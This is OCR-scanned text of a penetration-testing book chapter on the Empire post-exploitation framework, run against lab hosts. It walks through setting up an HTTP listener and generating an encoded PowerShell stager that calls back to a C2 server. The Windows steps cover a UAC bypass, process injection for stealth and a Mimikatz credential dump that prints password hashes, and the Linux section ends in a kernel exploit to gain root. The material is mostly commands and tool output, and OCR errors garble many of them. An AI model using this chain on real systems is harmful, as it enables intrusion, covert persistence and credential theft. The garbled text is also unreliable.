[*] Database setup completed!

[*] Certificate written to ../data/empire-chain.pem

[*] Private key written to ../data/empire-priv.key

[*] Setup complete!

We need root privileges to run Empire so that it can start the listeners on system ports as
well. Execute the following command to run Empire with root privilege:

|sudo ./empire
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The Empire framework will now load:

(. O Harry — harry@
$ sudo ./empire

To get into using Empire, let's first understand the fundamentals of this.

Technet24
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Empire fundamentals

Empire is a Python-based framework which is known for its post exploitation module
and flexible architecture. The whole process of using the Empire Framework can be
defined in five phases, which are demonstrated as follows:

Stager Stager Aquiring Post Module
Creation Execution Agent Operation

Listener Initiation

The five phases are explained as follows:

Phase 1: Listener Initiation
Phase 2: Stager Creation

Phase 3: Stager Execution

Phase 4: Acquiring Agent

Phase 5: Post Module Operations

To start with Empire, try executing the ne1p command or inputting - for further options:
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{(Empire) > 7
Commands

Jump to the Agents menu,
Add/display credentials to/from the dotabase.
Exit Empire
Displays the help menu,
interact Interact with a particular agent.
[1st Lists active agents or listeners,
Listeners Interact with active l1steners.
Load Loads Empire modules from a non-standard folder.
plugin Load a plugin file to extend Empire,
plugins List all avatlable and active plugins.
preobfuscate  Preobfuscate PowerShell module_source files
reload Reload one {or all) Empire modules.
report Produce report (SV and log files: sessions.csv, credentiols.csv, master. log
reset Reset a global option (e.g. IP whitelists).
resource Read and execute a List of Empire commands from a file.
searctmodule — Search Empire module names/descriptions.,
set Set a global option (e.g. IP whitelists).
Show Show a global option (e.g. IP whitelists).
usemodule Use an Empire module.
Usestager Use an Empire stager.

(Empire) >

Technet24
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Phase 1 — Listener Initiation

The first phase of Empire post exploitation is Listener Initiation. When using Empire, it
1s required to first configure a listener which would listen for incoming connections. A
listener in Empire is just like a handler in Metasploit. To view a list of all active
listeners, execute the following command:

| listeners

The output of running the preceding command is as follows:

. @
(Empire) = listeners

(Empire:

If there's no listener running in Empire, you'll get a wo 1isteners currently active Mmessage.
We can execute the ne1p command or the » for options allowed in the listeners module:
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(Empire; )57

Listener Comands

agents Jump to the agents menu,

back G0 back to the main menu,

(reds Display/return credentials from the database.

delete Delete listener(s) from the database

disable Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire
edit (hange a listener option, will not take effect until the listener is restorted
enable Enables and starts one or all Listners,

exit Exit Empire.

help Displays the help meny,

1nfo Display information for the given active listener.

kill Kill one or all active listeners,

launcher Generate an initial louncher for a listener,

list List all active listeners (or agents).

listeners Jump to the listeners menu,

main Go back to the matn menu,

resource Read and execute o list of Empire commands from o file.
Uselistener Use an Ewpire listener module.

Usestager Use an Empire stager.,

(Empire; I

We don't have an active listener for now, but we can create one. To do this, we can use
the use1istener command and give the type of listener as the argument:

® 04 Harry — harry@FuzzerQS: ~/Empire — ssh harry@192.168.2.24 — 143x37

(Empire: ) = uselistener
dbx http http_com http_foreign http_hop http_mapi meterpreter  onedrive redirector
(Empire: ) = uselistener

For now, let's choose HTTP listener. We need to execute the following commands to
configure the HTTP listener:

uselistener http
info
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@00

(Empire:
(Empire:

Name: HTTP[S]

> uselistener http

) = info

Category: client_server

Authors:
@harmj0y

Description:

Starts a http[s] listener (PowerShell or Python) that uses a

GET/POST approach.

HTTP[S] Options:

Name
SlackToken
ProxyCreds

e, or other).
KillDate

Name

Launcher
DefaultDelay
DefaultLostLimit
WorkingHours
SlackChannel
DefaultProfile

Host

CertPath
Defaultlitter
Proxy
Userigent
StagingKey

uired

False

False
True
True
True
True
False
False
True

Value

default

http

powershell -noP -sta -w 1 -enc
5

60

#general
/admin/get. php, /news.php, /login/
process.phplMozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.@) like Gecko

http

0.0

default
default
P<+L@; %

/1%M:#=0~3| cqZ=2u7?D. *Abz

Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x37

Description
Your SlackBot API token to communicate with your Slack instance.
Proxy credentials ([domain“\Jusername:password) to use for request (default, no

Date for the listener to exit (
Name for the listener.

Launcher string.

Agent delay/reach back interval (in seconds).

Number of missed checkins before exiting

Hours for the ogent to operate (09:00-17:00).

The Slack channel or DM that notifications will be sent to.
Default communication profile for the agent.

dd/yyyy).

Hostname/IP for staging.

Certificate path for https listeners.

Jitter in agent reachback interval (0.0-1.0).

Proxy to use for request (default, none, or other).

User-agent string to use for the staging request (default, none, or other).
Staging key for initial agent negotiation.

As you may have noticed, the prompt changed from Purple to Red, which means we can
now configure the listener. By default, the HTTP listener will set the HOST and PORT
automatically, but we can change it using the s command. To see all the available
options, execute the ne1p command or the -:
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[y @& Harry — harry@FuzzerQS: ~/Empire — ssh harry@192.168.2.24
(Empire: '

Listener Commands

agents Jump to the agents menu.

back Go back a menu.

creds Display/return credentials from the database.
execute Execute the given listener module.

exit Exit Empire.

help Displays the help menu.

info Display listener module options.

Launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.

main Go back to the main menu.

resource Read and execute a list of Empire commands from a file.
set Set a listener option.

unset Unset a listener option.

(Empire: B

Now that everything is in place, let's use the execute command to start the HTTP listener:
@ & Harry — harry@Fuzzer0S: ~/Empire — ssh harry@®192.168.2
~ — harry@Fuzzer05; ~/Empire — ssh harry@192.168.2.24
(Empire: )} = execute
* Serving Flask app "http" (lazy loading)

* Environment: production

* Debug mode: off

(Empire:

We're still using the HTTP listener menu (empire: 1isteners/nttp) SO We need to get back to
just the listener menu (empire: 1isteners), Which can be done using the vacx command. To
list the active listeners, we can also use the 1ist command in the Listeners menu:
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@ @ Harry — harry@FuzzerQS: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — harry@Fuzzer05s:

{(Empire: ) = back

{(Empire: 3} = list

Name Module Host Delay/Jitter KillDate

http t http://192.168.2.24:80

{Empire:

Our HTTP listener has started now, so we can just open the URL given in the preceding
screenshot for verification:

@00 /sy X e

— C | @ Not Secure | 192.168.2.24 % | ip o 7 B

Welcome N
Bienvenido

Bem-vin

Tervetuf a

0'N2N D102
Velkommen VELKOMEN
Benvenuto i
Welkom

internet information services - Witaney

J"“
Hos Geldiniz %%'E*lvl ch

Valkommen

Kahwg opioare

If anyone tries to open the Empire listener URL, they'll be shown the default IIS page. At
the same time, we will get a notification in Empire about the web request with the client
IP. In this case, 192.165.2.6 tried to access the Empire listener:
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(Empire:

We can now move on to the next phase.
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Phase 2 — Stager Creation

Once the listener is ready, we can now create a one-liner stager that will connect back
to the listener when executed. This phase will focus on the stagers that can be used
depending upon the situation. Please refer to the table at the end of this chapter to
choose the stager that works best for you.You can execute the usestager command to
create a stager. The argument passed to the command is the type of stager that you want
to create:
o0 e Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35

0sx/ducky osx/safari_launcher windows/hta windows/macroless_msword

windows/ launcher_bat windows/shellcode

windows/ launcher_lnk windows/teensy
windows/ launcher_sct

/ osx/macho i windows/ launcher_vbs
osx/applescript 0sx/macro i 11 windows/ launcher_xml
osx/application 0sx/pkg windows/ducky windows/macro
(Empire) = usestager

We can start with the default PowerShell launcher for now. The multi/launcher module
in Empire can be used to generate stagers for which are supported in multiple OS. By
default, the launcher generates PowerShell stager but we can change the stager to use
Python instead of PowerShell. This can be done by setting the 1anguage Option in
multi/launcher module. For now let's execute the following command to select the
PowerShell launcher:

|usestager multi/launcher

® =@ Harry

~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24
\{(Empire) = usestager multi/launcher

(Empire: )

We can see the options required for the stager creation using the inro command:
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XK Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — harry@Fuzzer0S; ~ — ssh harry@192.168.2.24 St
[(Empire: £
Name: Launcher

Description:
Generates a one-liner stage® launcher for Empire.

Options:

MName Required Value Description

ProxyCreds se default Proxy credentials
([domain*]Jusername:password) to use for
request (default, none, or other).

Language powershell Language of the stager to generate.

Baset4 True Switch. Baseb4 encode the output.

OutFile False File to output launcher to, otherwise
displayed on the screen.

Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.

ObfuscateCommand False Token“Al1%1, Launcher>STDIN++-12467The Invoke-0Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.

SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.

StagerRetries False Times for the stager to retry
connecting.

Listener True Listener to generate stager for.

Proxy False default Proxy to use for request (default, none,
or other).

Useragent False default User-agent string to use for the staging
request (default, none, or other).

There are a few required options here, and they are all marked as r-ue. Let's set the
ristener Option so that once this stager is executed, it will connect back on to the HTTP
listener that we created in the previous phase. Execute the following command to set the
listener:

|set Listener http

(Empire: ) = set Listener http

[(Empire: =2

Now that the listener is embedded in the stager code, let's create the stager using the
execute cOmmand. This will give us a one-liner command:
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[ NN ] Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35
~— harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~— harry@Fuzzer0S: ~ — ssh harry@192.168.2.24

[(Empire: ) > execute ]
powershell -noP -sta -w 1 -enc SO0BmACgAJABOAFMAVQB LAHIAUWBIAGSATgBUAEEAQQBMAEUALgBOAFMAVGB LAHTAUWBPAESADGAUAERAYOBAESAUgAGACOARWB FACAAMAWAPAHS
AJABHAFAARQAIAFSAUGBFAGYAXOAUAEEAUWBZAEUAT OB i AEwAeJAUAECAZ OBOAFQAe(QBJAEUAKAANAFMAR(OBZAHOAZ OBTACAATOBhAGAAY OBNAGUADQB 1 AGIAdAAUAEEAIQBBAGBADOBhAH
0AaQBvAGAAL gBVAHQAQQBSAHMAIWAPACAAT gBHAGUAVABGAGKAZOBgAEWARAATACGAIWS j AGEAYWBOAGUAZ ABHAHTAbwE1 AHAAUABVAGWAGQB j AHKAUWB 1AHOAdABPAGAAZWBZACCALAANA
E4AIWArACCABWBUAFAAD(B 1 AGWAQQB j ACWAUWBOAGEAdABPAGMAIWAPADSAS OBMAC gAJABHAFAAR gAPAHS AJABHAFAAQWAIACQARWBOAEYAL gBHAGUAJABWAGEATABVAEUAKAAKAGIAdOBS
ABWAKQA7 AEKAZ gAOACOARWB OAEMAWAANAFMAYWB YAGKACABRAETAIWArACCABABVAGMAGWBMAGBAZWBNAG kADGBNACCAXOAPAHSAJABHAFAADWBDAC CAUWB JAHTAQOBWAHQAQGANACSATWE
SAGBAYWBrAEWADWBNAGCAGOBUAGCAIWBAAFSAJWBFAGAAY 0B 1 AGWAZ QBTAGMACGBpAHAAJABCACCAKWANAGWADWE j AGSATABVAGCAZWB PAGAAZWANAFOAPQAWADSAJABHAFAAQWBbACCAUW
Bj AHTAaOBwAHOAQQANACSAIWBSAGBAYWB rAEWADWBNAGCATQBUAGCAIWBUAFSATWB FAGAAYDB 1 AGWAZ OBTAGMACGBPAHAAJABCAGWAbWE j AGSASOBUAHYAbWB j AGEADABpAGBAbgBMAGEAZ
wBnAGkAbgBNACCAXQAIADAATQAKAFYAY()BMADDAMABDAESADABMAGUAQWROAEKADWBOAFMAL gBHAEUATgB FAFTAaQBDACAARABpAEMAYABPAGBADgBhAFTAeOBbAFMAVABSAEKATgBHACKA
UwB5SAFMAdAB1AGBAL gBPAETAagB 1 AGMAJABAAFOADGABAEAAROBXACgAK 0AZACQAdgBhAGWAL gBBAEQAZ AADAC CAROBUAGEAYBSAGUAUWS jAHTAAQBWAHQAQDGANACSAIWBSAGBAYWRBPAEW
AbwBnAGCAQQBUAGCAIWASADAAK OAZACQAVGBhAEWAL gBBAEQARAAOACCAROBUAGEAYgBSAGUAUWE jAHTAaQBWAHOAQGBSAGBAYWB PAEKADGBZAGBAYWBhAHQAADBVAGAATABVAGCAZWBPAG
AALWANACWAMAAPADSAJABHAFAAQWBDAC CASABLAEUANOB fABWATWBDAEEATAB FAEGAQOBDAEGASOBOAEUAXABTAGEAZ gBAAHCAYOBYAGUAXABOAGBADABPAGMAGOBT AHMAXABNAGKATWE YA
GBACWBVAGYAABCAFCAa)BUAGOADWB3AHMAXABOAGSAdWE L AHIAUWBoAGUADABSAFWAUWB j AHIAGOBwWAHQAQgANACSAIWBSAGBAYWE rAEWADWBNAGCcAQQBUAGCAIWBIADDAIABZAEEATABS
AEUATABZAGUAewBbAFMAQWB SAGKAUABUAETADABPAGMAGWBAAC4AT gBHAEUAdABGAGKAZ OBgAGWARAA I ACgAIWBZAGKAZWBUAGEAJABIAHTAZ 0BZACCALAANAE4AIWArACCADWBUAFAAIOB
iAGwAQQB jACWAUWBOAG EAJABpAGMAIWAPACAAUWBFAHOAVBBAGWAVQB 1 ACGAJABOAHUATABMACWAKABOAGUAVWA tAEBAY gBgAEUAYWBUACAAQWB vAGWADABFAEMAQABPAESADgBTACAARWY
B1AGAAZ OBYAGKAYWAUAEgAQOBZAEGAUWB 1 AFQAMBZAHOAUGBIAGAAZWBACKAKOBIAFSAUGBFAGYAXQAUAE EACWBTAEUATOB 1 AGWAWQAUAECAZ OBOAFQAeOBOAEUAKAANAFMAQBZAHOAZ
QBtAC4ATOBhAGIAY()BNAGUADQB 1 AGIAdAAUAE EADOBOAGEADOBhAH)AQQBVAGAAL gBBAGRACWE pAFUAdABpAGWACWANACKATAAS AHSAJABFAHOAFAATAHSAIABFACAARWE 1AFQARgBpPAGUA
TABEACgAIWBhAGBACWBPAEKADGBPAHOARGBhAGKADABTAGOAIWASACCATgBVAGAAUABLAGIADABPAGMALABTAHOAY OBAAGKAYWANACKAL gBTAEUAVABIWAGEATABLAGUAKAAKAEAAVOBSAEW
ALAAKAHOACGBIAEUAKOBIADSATOAZAFSAUWBSAFMAVAB LAEQAL gBOAEUADAAUAFMAROBYAHYATOB jAGUAUABVAGKAT gBRAEGAYQBUAE EARWBFAF TAXQASAD0AROBYAHAARQB j AHOAMOAWAD
AAOWBVAGAAVABIAEAADOB LADBAMAAZ ACOAVWBDADOAT gB LAFCALOBPAGIAQgB LAGMAdAAGAFMALOBTAHOAZ OBLACAAT gBFAHOAL gBXAGUAQQBDAGWASOB FAGAAVAAZACOADQAIACCATOBVA
HoAa(BsAGwAY QAVADUAL gAWACAAKABXAGkAbgBKAGBAdWBZACAATgBUACAANGAUAD EAOWAgAFCATWBXADYANAA7 ACAAVABYAGKAZ AB TAGAAdAAVAD cAL gAWADSATABYAHYADgAXADEAL gAw
ACKATABSAGKAaWBTACAARWS 1 AGMAGWB vAC CAOWAKAFCAQWAUAEgAZ OBhAEQAROBSAHMAL gBBAEQARAAOAC CAV)BZAGUACGALAEEAZWE 1 AGIAdAANACWAIABTACKADWAKAF CAYWAUAFAAUGB
vAFgAe(AIAFSAUMBSAHMAVABTAGBAL gBOAGUAdAAUAFCAROBCAFTARQBXAHUAZ(BZAHOAXQABADOARAB 1AEYAYQBVAEWAdABXAEUAY gBOAHTATWBYAHKAOWAKAHCAOWAUAFAAUGBPAFgANQ
AUAEMACGB1AGOAROBOAH)AGOBBAEWAUWAGADDATABDAFMAEOBZAHOAROBLACAAT B 1AHOALGBDAHIAROBEAEUATgBUAEKAYOBSAEMAQOBDAEGAZ0BAADOADGBEAGUARGBBAFUADABUAESAZ
QBUAFcAbwBYAESAQWBYAEUAZABFAE4AdABJAGEADABTADSAJABTAGMACGBPAHAAdAAGAFAACGBVAHGA QAGADDATAAKAHCAYWAUAFAACGBVAHGACDATACOASWAIAF SAUWBSAFMAVABFAERA
LgBUAGUAeABUAC4ARQBOAEMATWBEAGKATgBHAFOAOQAGAEEAUWBDAEKASQAUAECARQOBUAETAe )BOAGUAUWAOACCAUAABACSATAAWADSAABKACEADABYAE4ADGA j ADBAbWB +ADMATAB j AHE
ANgA+ADTAQA/ AEQAL gAgAEEANGBEACCAKQAY ACOAUGASAHSATABEACWAIABLADOAIABBAHTARWBZADSAJABTADDAMAAUACAAMgATADUAOWAWACAAL gAYADUANOBSACUAewAKAEOAPQADAC
QASgArACOAUWBDACOAXWBAACSAIABLAFSAJABTACUAJABLACAAQWBvAHUADGBUAFBAKQA1ADTANOAZADSAJABTAFSAJAB FAFDALAAKAFMANMAAKAEDAXQAIAC QAUMBDACQASgBAACWAIABTA
FSAJABTAFQATQA7ACQARABBACUAWAKAEKAPQAOACQASOArAD EAKQATADTANQAZADSAJABTADBAKAAKAEGAKWAKAFMAMAWAKAE KAXQAPACUAMgATADYAOWAKAFMAMAAKAE KAXQASA
ACQASABAADBAIABTAFSAJABIAFOALAAKAFMAWAKAEKAX DAY ACOAXWALAETACABVAHTAJABTAFSAKAAKAFMAMWAKAEKAXOArACOAUWBLACOASABIACKAJDAYADUANGBAAHRATQAZAC
1AHIAPQANAGQAJABOAHAADgAVACSAMOASADIALgAXADY AOAAUADTAL gAYADOAOGAFADAAIWAZ ACOAdAAIACCALWBSAGBAZWBPAGAALWBWAHIAbWB j AGUACWBZACAACABOAHAAIWAT ACOAdW
BDAC4ASABLAGEAZAB FAFTAUWAUAEEAZABEACgATgBDAGBADWB rAGKAZ 0A 1 ACWATgBZAGUACWBZAGKADWBUADOAYYBSAGSATWB 3AEUAYgBSAEYAdgB LAGYAVABNAETACWB FAEYACABZAFMAd
wBoAFUATOBVADGAPQA i ACKAOWAKAGOAQOBUAE EAPQAKAFCAQWAUAEQATWRXAGAADABVAE EAZABEAGEAVABBACgAJABTAEUAUgArACOAVAAPADSAJABPAFYAPQAKAGOAY()BOAE EAMWAWACAA
LgAZzAFOAOWAKAGOAQQBUAGEAPOAKAGOANQBOAE EAMWABACAAL gAKAGOAY OBOAGEAL gBSAEUAbgBHAF(QAaABAADSAL OBKAGBASOBOAFSAQWBOAGEACGBhAFBAXQAOACYATAAKAFTATAAKAGD
AY(QBUAEEATAA0ACQASOBWACSAJABLACKAKOBSAEKAROBYAA==

The stager is ready for execution on the target server now. Let's look at the next phase.
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Phase 3 — Stager Execution

In this phase, the one-liner command will start the staging process for Empire. The
following is the staging process in Empire, which takes place when the stager is
executed on the target server:

l.

When creating a one-liner launcher (stager), Empire embeds the staging key into
the launcher itself:

Control Server Client
B 1. GET /<stage0>
. 2. return key negotiation stager.ps1 w/ shared AES 2 i
staging key %

A stager executed on the target server requests Stage 0; that s, a patched stager.ps1,
which can be found in Empire's data/agent/ directory.

. Before sending Stage 0 to the target server, Empire encrypts it. (Stage 0 will be

case-randomized and then XOR encrypted with the AES staging key.)
Launcher does the following things now:

1. Receives Stage 0 and decrypts it

2. Generates a RSA public/private key pair in-memory

3. Encrypts the RSA public key with the AES staging key

4. Sends the encrypted RSA public key (Stage 1) to the Empire C2

3. gen priv/pub keys, post ENCstaging(PUB) to /<stage1>

4. return ENCpub(epoch + AES session key) -

B

5. Empire C2 receives the encrypted RSA public key and decrypts it using the staging

key to save the key for further communication.

6. Empire C2 now does the following things:

Generates an AES session key for agent's session management.

Gets its Epoch time.

Encrypts (Epoch time + session key) with RSA public key.

Sends the encrypted Epoch time and session key to the target server:
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6. return ENCsession(agent.ps1) patched with key/delay/etc.
and register agent. Agent starts beaconing. g

5. decrypt session key, post ENCsession(sysinfo) to /<stage2> i

7. The target server receives the encrypted values and decrypts them using the RSA
private key.

8. The target server gathers basic system information, encrypts this information using
the newly received AES session key, and sends it back to the Empire C2 (Stage 2).

9. Empire C2 decrypts the information received using the AES session key and sends
the patched agent.ps1 With the key, delay, and so on, to the target server. (This can
be found in Empire's data/agent/ directory.)

10. The agent starts its beaconing behavior. (The agent will call back to Empire C2
after a few seconds.)

When the stager is executed onto the target server, the stager will call back to the
Empire C2, requesting Stage 1 and Stage 2:

[O] @ Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143
(Empire: i

When Stage 2 is complete, the agent will begin the beaconing process.
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Phase 4 — Acquiring Agent
When the stager is executed on the target system, the Agent will connect back to the

Empire Listener. We can view the active agents using the agents command as follows:

® [ ]
(Empire: )} = agents

Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x37

Name La Internal IP Machine Name Username

W8ZAH79YV ps 192.168.2.9 PT-PC PT-PC:PT

Process Delay Last Seen

powershell

(Empire: ) =

A live agent will give us the following information when the preceding command 1s
executed:

Name of the agent (Name)

Launcher used by the stager (1) - PowerShell or Python
Internal IP

Machine name

Username with the domain

Process

Process ID (PID)

Delay with jitters

Last seen

Instead of using the agents command, we can also use the 1ist command to see all of the
available agents. However, this will only work if we are in the agent's menu (zmpire:

agents):

(Empire:

TESTER-PC

(Empire:

To view more options in the agents menu, we can execute the ne1p command, or just a -:
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(Empire:

Commands

"autory

cilldate [agent/oll] @

tlimit t/all] [nun of mis
the

om a file.

all] interval

rking

(Empire:

We can also rename the agent name according to our needs by executing the rename
command as follows:

To discover more about the agent, we can use the interact command to interact with an
agent, and then use the inro command to get more information regarding the chosen agent:
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(Empire:
(Empire:

m, D832

(CEmpire:

We now have an active agent connected to our Empire C2, just like a Meterpreter
session opened in Metasploit. We can now interact with the agent for further post
exploitation.

Technet24
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Phase 5 — Post Module Operations

Once the agent is connected back to the Empire C2, we can start with our post
exploitation process using the Empire modules. The post exploitation modules can be
categorized into two parts:

e PowerShell-based post modules
e Python-based post modules

Let's see the following table to get more clarity about the post modules in Empire and
how they are further categorized:

Module category PowerShell Python

Code Execution X

Collection

Credentials

Exfiltration

Exploitation

Lateral Movement

Persistence

Management

Privilege Escalation

Situational Awareness

Trollsploit

2L | 2| | 2| 22| 2| | 2] 2| < | < | <

Recon

Every module category mentioned in the preceding table has sub-modules in it. For
example, code execution has the following modules available in Empire:
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® invoke dllinjection Will inject a DLL into the process ID of your choosing

e invoke ntsa Us€S NT Symbolic Debugger to execute Empire launcher code

e invoke shellcode Will inject shellcode into the process ID of your choosing, or within
the context of the running PowerShell process

® invoke metasploitpayload Will spawn a new, hidden PowerShell window that
downloads and executes a Metasploit payload

® invoke reflectivepeinjection will reﬂectiVely load a DLL/EXE into the PowerShell
process or reflectively load a DLL into a remote process

® invoke shellcodemsil Will execute shellcode within the context of the running
PowerShell process, without making any Win32 function calls

Now let's explore some post exploitation scenarios for different operating systems.

Technet24
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Empire post exploitation for Windows

Assuming that we have already got an agent connected to us, we will now perform post
exploitation on Windows OS when the agent's security context is low. As demonstrated
in the following screenshot, we have got an agent which has low privileges

(high_integrity: O):

[ NON ) Harry — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 — 143x37
(Empire: ) = interact W8ZAH79V
[(Empire: ) = info

5246499115150878
0.0

None

192.168.2.9

0Z{ kW+: dD<P4S01=%$1erT*8E[QiIiC/3! -
None

Z2018-08-28 22:56:05

PT-PC

1

5

PT-PC-PT

None

powershell

http

344
/admin/get.php, /news.php, /login/process.phplMozilla/5.6 (Windows NT
6.1; WOWe4; Trident/7.0; rv:11.@) like Gecko
Microsoft Windows 7 Ultimate

60

None

WEZAH7 9V

powershell

192.168.2.9

W8ZAH/ 9V

2018-08-28 22:57:01

2

5]

(Empire:

We can elevate the privileges using the privilege escalation modules in Empire. For this
scenario, we will be using the bypassuac_eventvwr module.

To execute this module, use the vypassuac command and the listener as the argument
passed to bypassuac_eventvwr.
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o @ Harry — harry@FuzzerDS: ~/Empire — ssh harry@192.168.2.24 — 143x37
(Empire: ) = bypassuac http

(Empire: ]
Job started: 4SV8DT

The same thing can be achieved using the following commands:

|usemodule privesc/bypassuac_eventvwr
~ — -bash ../datafagent — harry@openvpn: ~ — -bash ...openvpn; ~ —55h harry

{Empire: 3 = uUsemodule priwvesc/bypassuoc_ewventvwr
{Empire: ;

This will bring us to the bypassuac_eventvwr INECNU.

Let's execute the inro command to see the options available in this module:
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{Empire: Y > info

C_aventwwr

: None

MName Required Value

e defaul 0
t (defaul t, none, or pEt
False defaul t . o ‘or request (defaul t, none,

True

Falsze

The vistener field is required here, so let's set up the listener using the following
command:

|set Listener http
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(Empire: ) > set Listener
(Empire: ) = 1info

Name: Invoke-EventVwrBypass
Module: powershell/privesc/bypassuac_egventyvwr
MNeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2

Backaround: True
OutputExtension: MNone

Authors:
@en1gmaldx3

Description:
Bypasses UAC by performing an image hijack on the .msc file
extension and starting eventwwr.exe. No files are dropped to
disk, making this opsec safe.

Comments:
https:/enigma@x3.net/2016/08/15/f11eless-uac-bypass-using-

eventwr-exe-and-registry-hijacking/
Options:

Marme Required Description

Listener 1 Listener to use.

Userhgent False 1 User-agent string to use for the staging
request (default, none, or other).

Proxy False 1 Proxy to use for request (default, none,
or other).

Agent True sz terAgentl Agent to run module on.

ProxyCreds False 1t Proxy credentials
{[domain“\]username:password) to use for
request (defaul t, none, or other).

A new agent will be connected back to the Empire C2 with a higher security context
once the module is successfully executed:

@® ® Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x37
[(Empire: ) = list agents

Name La Internal IP Machine Name Username Process Last Seen

W8ZAH79V ps 192.168.2.9 PT-PC PT-PC-PT powershell 344 5/0.0
/31LHZ6E ps 192.168.2.9 PT-PC *PT-PCPT powershel 1 2216 5/0.0

{Empire: ) =

The - in front of the username means this is a high integrity agent (also known as a
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privileged agent). Empire also has a very interesting feature named worxingnours. This
will Get or Set an agent's working hours (9:00-17:00). Execute the following command
to use this feature:

Iworkinghours

(Empire: } = workinghours

(Empire: ) >
agent working hours: WORKING_HOURS_REPLACE

The agent will now only connect back to us according to the target server's working
hours. Because of this, it is better to stay hidden for longer.

Let's interact with a high integrity agent for further post exploitation:

[ NoN
(Empire:

Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143=37

Name La Internal IP Machine MName Username Process 2] Last Seen

PT-PC\PT powershell
/31LHZ6E ps 197.168.2.9 PT-PC *PT-PCWPT powershell

(Empire: ) = interact 731LHZ6E
(Empire: ) =

The agent connected back with the Empire C2 using the PowerShell process. This also
means that any user on the target server can detect the powersne11.exe process in their task
manager. To stay hidden, it's always a good idea to migrate to another process. In
Metasploit, this can be achieved by using the nigrate command but unfortunately, Empire
doesn't have a direct way to perform process migration. However, Empire does have
process injection supported, so let's use process injection as a workaround for process
migration.

Let's first list all the processes on the target server using the »s command:
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Harry — harry@Fuzzer0S: ~/Empire — ssh

~ — msfconsole -r rev_hitps

{Empire:
ProcessHame UserNams

conhost PT-PCPT

SMSS NT AUTHORITY-SY
STEM

svchost NT AUTHORITY-LO 17.39 MB
CAL SERVICE

svichost
svchost
explorar

chivrr
conhost
svchost

N/A
WA
PT-PCANPT
PT-PCANPT
PT-PCANPT
M4

12.16 MB
22,04 WB
32.61 MB
3.87 MB
5.10 MB
23.@7 WB

Injecting into another process using psinject:

=
= pslnject

= psinject Empire 104%

At this point, the new agent connects back to the listener:
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"

(Empire: 1l
Job started: GoAdlZ

Let's check the newly connected agent to confirm whether or not the process injection
worked:

(Emptire: D) > list adgents

Mame

CEmpire:

We can look for the saved credentials in Empire using the creas command:

[(Empire: ) > creds

CredID CredType Domain  UserName Password

We don't have any credentials saved for now, so let's run mimixatz to gather credentials.
By defal,ﬂt, EIIIpire uses the mimikatz logonpasswords module.

To execute Mimikatz, run the nimixat- command as follows:
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Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24

~ — msfconsole -r rev_https_handler_8080.rc

Upon successful execution, the plain text password is retrieved and stored:

: §-1-5-21-3881186481-1336627236-1975937850-1001
msy -
[00000003] Primary
Username : PT
Domain @ PT-PC
LM : dec33facZe34c9437aad3b435b51404ee
NTLM : ee206513a3facf8228b7dbbff8302cef
SHAL : a5e6d9fbbel135365¢c49339b68ab56175f fad9cy
tspkg :
* Username : PT
* Domain
* Password :
wdigest :
* Username :
* Domain
* Password :
kerberos :
* Username :
* Domain
* Password :

Now let's check the stored credentials again:

[ ] [ ] Harry — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 — 143=35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — msfconscle -r rev_https_handler_8080.rc
[CEmpire:

CredID CredType Domain UserName Password

PT-PC ee?206513a3facf8228b7dbbf8302cef
plaintext PT-PC harry
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The credentials are now stored. These credentials can further be used in post
exploitation.
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Empire post exploitation for Linux

Empire also supports Python-based modules. This means that any OS which has Python
installed on them is supported as well. Let's take a look at how we can perform post
exploitation on Linux using Empire.

To begin with, let's create a one-liner stager for Linux. This can be achieved by using a
Bash launcher. To use the Bash launcher, execute the usestager muiti/basn command and
info command to view its options:

'® [ ] Harry — harry@ . eI e SR

— __bas ~—harrye |, - —58h hamy@ e w. o n
(Empire: Y » LBe LT
(Empire: » info

=]

F ToF.

{(Empire;

Let's follow the usual process. Start by setting the listener and generating the one-liner
stager using the execute command:
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Once the stager is executed on the target Linux server, the staging process will begin:

(Empire:

A new agent 1s connected back to the Empire C2:

Let's interact with the agent and get the basic system information using the sysinfo
command:

From the agent list, we can see that the agent is not a high integrity user. We need to
perform privilege escalation here. Empire has another privilege escalation module
based on Python 1inux priv checker. This module will do a full system enumeration to find
common privilege escalation vectors. To use the module, execute the following
command:

|usemodu1e privesc/linux/linux priv_checker
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) » usemodule privesc/linux/1linux_priv_checker
} * 1info

Name: LinuxPrivChecker
Module: python/privesc/linux/Llinux_priv_checker

NeedsAdmin: False
Opsecsafe; True

Language. python
MinLanguageWersion: 2.6

Background: False
OutputExtension: MNone

Authors:
@illswitch GUI
@SecuritySift

Description;
This script 15 intended to be executed locally ona Linux box
to enumerate basic system info, and search for
commonprivilege escalation vectors with pure python,

Comments
For full comments and code;
Wi, securitysift. com/download/linuxprivchecker. py

Options:

Name Required Yalue Description

Agent True T3DXBIIP Agent to run on,

Once the module is executed, the enumeration begins:
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As shown in the preceding screenshot, we found a kernel exploit here. Consequently, we
uploaded the payload and executed our launcher in the new security context. The result
of this is that we are now root!

